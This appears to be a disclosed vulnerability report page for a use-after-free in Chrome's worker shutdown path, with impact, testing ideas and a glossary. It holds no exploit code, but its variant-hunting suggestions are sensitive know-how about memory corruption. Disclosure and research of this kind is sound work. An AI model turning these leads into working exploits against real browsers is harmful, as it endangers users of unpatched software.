BackForwardCacheDisablingFeatureTracker defers ReportFeaturesToDelegate() to the end of the current task and holds the delegate as a raw pointer to the worker's global scope. A raw pointer is just a memory address with no safety net: nothing checks whether the object it points at still exists. The bound callback holds a base::WeakPtr to the tracker, while the delegate is reached through delegate_. In the normal two-step shutdown the deferred report runs before the global scope is destroyed, so the ordering is safe. The single-step parent shutdown introduced by the child-termination path collapses BroadcastChannel::CloseInternal() and ~DedicatedWorkerGlobalScope() into one task, so the deferred report runs afterwards against a freed object.

Impact

The report describes the bug as potentially exploitable to achieve one click remote code execution in a renderer process. The demonstrated effect is a tab crash from an access violation in ReportFeaturesToDelegate. The report does not give a working exploit beyond the crash.

Fix

The report does not describe the fix.

These are ideas for further testing, each with a way to tell whether the test found something:

  • Other features that register non-sticky scheduling-affecting handles with the worker scheduler, torn down in the same task as the global scope. A positive result is a crash in ReportFeaturesToDelegate or a similar deferred callback dereferencing a freed delegate.
  • Deeper worker hierarchies where a grandchild termination drives the parent into ChildThreadTerminatedOnWorkerThread() with requested_to_terminate_ already set. A positive result is the single-step PerformShutdownOnWorkerThread() on a worker that still has a pending deferred report.
  • Different orderings of terminate() calls between parent and child, to widen the race window. A positive result is a reproducible access violation rather than an intermittent one.
  • Other deferred callbacks bound with a weak pointer to a tracker but a raw pointer to a global scope, in frame as well as worker contexts. A positive result is a use after free when the scope is destroyed in the same task as the feature teardown.

Glossary

  • Access violation: an operating system error raised when a program tries to read or write memory it is not allowed to touch.
  • Back/forward cache (bfcache): a Chrome feature that keeps a rendered page in memory so the Back and Forward buttons show it instantly.
  • Backing thread: the operating-system thread on which a worker's JavaScript actually runs.
  • Bisect: a technique for finding the change that introduced a bug by repeatedly testing the midpoint between a good and a bad version.
  • Blink: the rendering engine inside Chrome that turns HTML, CSS and JavaScript into what you see on screen.
  • BroadcastChannel: a browser feature that lets scripts in different tabs or workers exchange messages on a named channel.
  • Build: a particular compiled release of a program.
  • Callback: a function that is passed to something else to be called later.
  • Commit: a recorded change to a codebase.
  • Delegate: an object that another object hands work to.
  • Dereference: to follow a pointer and read or write the memory it points at.
  • Destructor: the function that runs when an object is destroyed and its memory is released.
  • Dedicated worker: a background script started by one web page, running separately from the page's main script.
  • Garbage collection: the automatic process that reclaims memory a program no longer uses.
  • Global scope: the object that holds a worker's or page's variables and functions.
  • Handle: a small object that represents a resource, such as a feature being in use.
  • Heap: the pool of memory a program allocates objects from.
  • IndexedDB: a built-in browser database that web pages can use to store data locally.
  • localhost: the name for "this computer", used when connecting to a server running on the same machine.
  • Message loop: the loop that keeps pulling tasks off a queue and running them.
  • NodeJS: a program that runs JavaScript outside a browser, often used to run small local web servers.
  • Non-sticky feature: a feature that can start and stop being used, rather than being permanently attached to a page.
  • PoC (proof of concept): a small piece of code that demonstrates a bug actually happens.
  • Pointer: a value that holds the memory address of an object.
  • Proxy: an object that stands in for another object, often across threads.
  • Race condition: a situation where the outcome depends on the exact timing of two things happening at once.
  • Raw pointer: a plain memory address with no safety checks.
  • Registers: tiny, very fast storage locations inside the CPU.
  • Release branch: a line of development for a particular version of a program.
  • Renderer process: the separate program Chrome starts to render a tab, kept apart from the rest of the browser for safety.
  • Revision: an identifier for an exact snapshot of source code.
  • Sub worker: a worker started by another worker.
  • Task: a unit of work that a scheduler runs on a thread.
  • Task runner: an object that queues work to run on a particular thread.
  • Transaction: a group of database operations treated as one unit.
  • Use after free: a bug where a program keeps using memory after it has been freed, which can crash it or let an attacker run code.
  • V8: the JavaScript engine inside Chrome.
  • Weak pointer: a pointer that does not keep an object alive and can be checked later to see whether the object still exists.
  • Worker: a background script started by a web page, running separately from the page's main script.

More by Looben Yang

View all

50 more disclosed reports, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.